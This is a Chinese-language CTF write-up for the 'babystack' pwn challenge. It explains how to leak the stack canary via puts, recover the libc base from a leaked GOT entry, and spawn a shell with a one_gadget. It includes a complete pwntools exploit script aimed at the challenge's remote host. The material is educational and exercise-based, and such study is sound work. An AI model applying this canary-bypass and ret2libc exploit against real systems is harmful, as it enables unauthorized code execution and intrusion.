欢迎您访问程序员文章站本站旨在为大家提供分享程序员计算机编程知识!
您现在的位置是: 首页

CTF中的PWN——绕canary防护3(选择项+puts带出canary+泄露函数地址计算基地址)

程序员文章站 2024-01-20 09:05:22
...

前言:

    想要学好pwn,首先要看懂wp。此题断断续续占用了我两三天,原谅我太菜了。此题为攻防世界的babystack。金丝雀前文叙述过,此处不再阐述,绕过的首选办法就是想办法得到canary的值,因为程序每次load的时候canary都不同,但是一个进程中的所有方法的金丝雀的值都相同。得到canry的值后构造payload即可。

题目:babystack-攻防世界

    file及checksec查看软件详细信息:

CTF中的PWN——绕canary防护3(选择项+puts带出canary+泄露函数地址计算基地址)

    可以看到软件为64bit,PIE剩下的防护都开了,将程序放入IDA64静态分析:
 

CTF中的PWN——绕canary防护3(选择项+puts带出canary+泄露函数地址计算基地址)

    分析一下main函数,可以看到选项1为向&s位置读入最大0x100存储单元的功能,选项2为通过puts函数输出&s位置的值,而选项3的作用是返回,注意:一般返回的选项都是为了触发return,就是pop eip进而执行payload中的关键函数或其他功能。显而易见选项1中的read函数存在栈溢出漏洞。

 

CTF中的PWN——绕canary防护3(选择项+puts带出canary+泄露函数地址计算基地址)

 

CTF中的PWN——绕canary防护3(选择项+puts带出canary+泄露函数地址计算基地址)

     canary值得地址为rbp - 8,这里第一个知识点,通过puts(&s)函数可以将canary的值“带出来”,输入点距离canary为0x88,即输入0x88个存储单元后后面的就是canary,一般canary最后为\x00,此方法可得到canary的值。而方法中无system等函数,在libc中查找文件中关键函数的offset即可,本文使用one_gadget工具查找:

CTF中的PWN——绕canary防护3(选择项+puts带出canary+泄露函数地址计算基地址)

    找到execve("/bin/sh") 在libc中的偏移量后需要通过泄露puts地址来计算libc的基地址,puts的真实地址存在aaa@qq.com表中,函数在libc文件中。可以通过puts函数泄露puts的地址然后计算加载的libc文件的基地址,最后计算execve("/bin/sh")的实际地址。payload如下:

from pwn import *

io = remote('111.198.29.45', 33708)
#io = process('./babystack')
elf = ELF('./babystack')
libc = ELF('./libc-2.23.so')

rdi_ret = 0x0000000000400a93
# start_addr = elf.symbols['__bss_start']
start_addr = 0x0000000000400720
#start_addr = 0x400908
puts_got = elf.got['puts']
puts_plt = elf.plt['puts']
one_gadget = 0x45216

print "========leak canary========"
io.sendlineafter(">> ", str(1))
payload = "a" * 0x88
io.sendline(payload)
io.sendlineafter(">> ", str(2))
io.recvuntil("a" * 0x88 + '\n')
canary = u64(io.recv(7).rjust(8, '\x00'))
print ("canary=>" +hex(canary))

print "========leak libc_base========"
io.sendlineafter(">> ", str(1))
payload = "a" * 0x88 + p64(canary) + "a" * 8 + p64(rdi_ret) + p64(puts_got) + p64(puts_plt) + p64(start_addr)
io.sendline(payload)
io.sendlineafter(">> ", str(3))

puts_addr = u64(io.recv(8).ljust(8, '\x00'))
print ("puts_addr=>" +hex(puts_addr))
libc_base = puts_addr - libc.symbols['puts']
one_gadget = libc_base + one_gadget

print "========get shell========"
io.sendlineafter(">> ", str(1))
payload = "a" * 0x88 + p64(canary) + "a" * 8 + p64(one_gadget) 
io.sendline(payload)
io.sendlineafter(">> ", str(3))

io.interactive()

    脚本执行结果如下: 

CTF中的PWN——绕canary防护3(选择项+puts带出canary+泄露函数地址计算基地址)

总结:

    此题总结几个知识点:

  1.     puts()函数可泄露金丝雀的地址。
  2.     金丝雀的结尾一般为\x00,在64bit中,一般为7位,最后一位为0。
  3.     p64(got)为put函数的实际地址,plt为调用put函数,后面最后加一个mian是为了程序的继续执行。
  4.     此题用one_gadget查找的gadget,应该system('/bin/sh\x00')也可以。
  5.     在用one_gadget中,第一行的条件是rax=null,而检查金丝雀之前也将rax置零了。